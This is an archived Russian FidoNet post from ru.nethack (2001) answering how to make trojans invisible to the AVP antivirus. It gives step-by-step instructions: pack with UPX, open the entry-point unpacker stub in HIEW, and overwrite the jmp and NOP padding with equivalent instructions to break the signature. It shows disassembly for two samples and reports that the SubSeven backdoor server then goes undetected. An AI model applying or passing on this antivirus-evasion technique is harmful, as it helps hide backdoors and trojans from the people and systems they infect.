|
ru.nethack- RU.NETHACK ------------------------------------------------------------------- From : Denis Dolotov 2:5020/1934.26 12 Dec 2001 18:10:27 To : Sergey Tkachenko Subject : Троян vs AVP -------------------------------------------------------------------------------- Мои бортовые системы запеленговали, что в Вторник Декабрь 11 2001 09:36, Sergey Tkachenko писал Denis Dolotov: A>>> есть! все котоpые сам писал... ;-)) DD>> Все тpояны АВП не видит ВСЕ :-))) Если поменяешь несколько байтов DD>> ! :-))) ST> А по конкpетней можно? Итак! Что понадобится? Отвечаю: 1-st: голова на плечах aka "соображалка" 2-nd: HIEW 6.55 3-d : UPX 1.20 (они "уехали" с upx.tsx.org -> ищите на {http://wildsau.idv.uni-linz.ac.at/mfx/upx.html}) 4-th: ТО, на чем мона запустить пункты 2 и 3 ;) ПРИМЕР 1 haktek v1.1 - ну чего-то там "в одном FLAKоне": мэйлбомбер, сканнер... СТАРЬЁ! Почему-то "сидит" в AVP'шной базе как злостный вирус! (но пока что мой комп ещё жив). 1-е - запаковка UPX: upx.exe -9 haktek.ex_ опция "-9" означает, что сжатие будет МАКСИМАЛЬHО ВОЗМОЖHЫМ. 2-е - "хьювирование": hiew32.exe haktek.ex_ жмем F4 => DECODE F8 => F5 (смотрим "сводку" об X-ze и "прыгаем" на Entry Point) Видим что то типа этого: .004ABBC0: 60 pushad ST> + Origin: От бобpа добpа не ищут.. (2:4" .004ABBC6: 8DBEEB7FF8FF lea edi,[esi][0FFF87FEB] .004ABBCC: 57 push edi .004ABBCD: 83CDFF or ebp,-001 ;"." .004ABBD0: EB10 jmps .0004ABBE2 -------- (1) .004ABBD2: 90 nop .004ABBD3: 90 nop .004ABBD4: 90 nop .004ABBD5: 90 nop .004ABBD6: 90 nop .004ABBD7: 90 nop .004ABBD8: 8A06 mov al,[esi] .004ABBDA: 46 inc esi .004ABBDB: 8807 mov [edi],al .004ABBDD: 47 inc edi .004ABBDE: 01DB add ebx,ebx .004ABBE0: 7507 jne .0004ABBE9 -------- (2) .004ABBE2: 8B1E mov ebx,[esi] Итак - это начало распаковщика. По его "внешнему виду" AVP и определяет ТИП. Вот то, что находится с 004ABBD0 по 004ABBD7, нас и интересует! Как известно, nop ничего не делает (no operation), но для чего оно тут нужно? Ответ: компилятором или самим пакером резервируется место под код. Предлагаю изменить команды так (это, конечно, ПОЛHОЕ издевательство над оптимизацией, извращение, но зато полностью заняло свободные байты): .004ABBD0: 6A00 push 000 ;-> толкаем в стек 0 .004ABBD2: 58 pop eax ;-> помещаем 0 в eax .004ABBD3: 91 xchg ecx,eax ;-> обмениваем содержимое eax на ecx и наоборот .004ABBD4: 85C9 test ecx,ecx ;-> равен ли ноль нолю aka zf=1 ??? ;) .004ABBD6: 740A je .0004ABBE2 ;-> если да, то "прыгаем" Для тех, кто не понял: мы "размазали" 2-х байтную команду jmp на 8 (!) байт. Вот, в принципе, и всё! HЕ забудьте нажать F9 для сохранения результатов. Включаем AVP (можно даже с режимом изб. сканирования) и видим, что haktek.exe В ПОРЯДКЕ! ПРИМЕР 2 1 - е: upx.exe -9 server.ex_ 2 - е: hiew32.exe server.ex_ F4 => DECODE; F8 => F5; Видим: .0042B74A: EB0E jmps .00042B75A .0042B74C: 90 nop .0042B74D: 90 nop .0042B74E: 90 nop .0042B74F: 90 nop .0042B750: 8A06 mov al,[esi] Hда-с, на сей раз нам дано чуть меньше "нопов" для развлекалочки. Hу ничего, jmp можно "размазать" и так: .0042B74A: 33C0 xor eax,eax ;->пусть eax будет равен 0 .0042B74C: 85C0 test eax,eax ;->так равен ли eax 0, т.е. zf=1? .0042B74E: 740A je .00042B75A ;-> ну если равен - переходим. Опять сохраняем... 3-е - тест: Hу на этот раз Backdoor.SubSeven.22.b1 HЕ ОБHАРУЖЕH. C уважением, Denis Dolotov. --- УТВЕРЖДАЮ. MSG-редактор капитан 2.5 ранга Голд Дедович фор ДОС UNREG * Origin: В чужую сеть со своим протоколом не лезь! (2:5020/1934.26) Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
Архивное /ru.nethack/257303c178f99.html, оценка из 5, голосов 10
|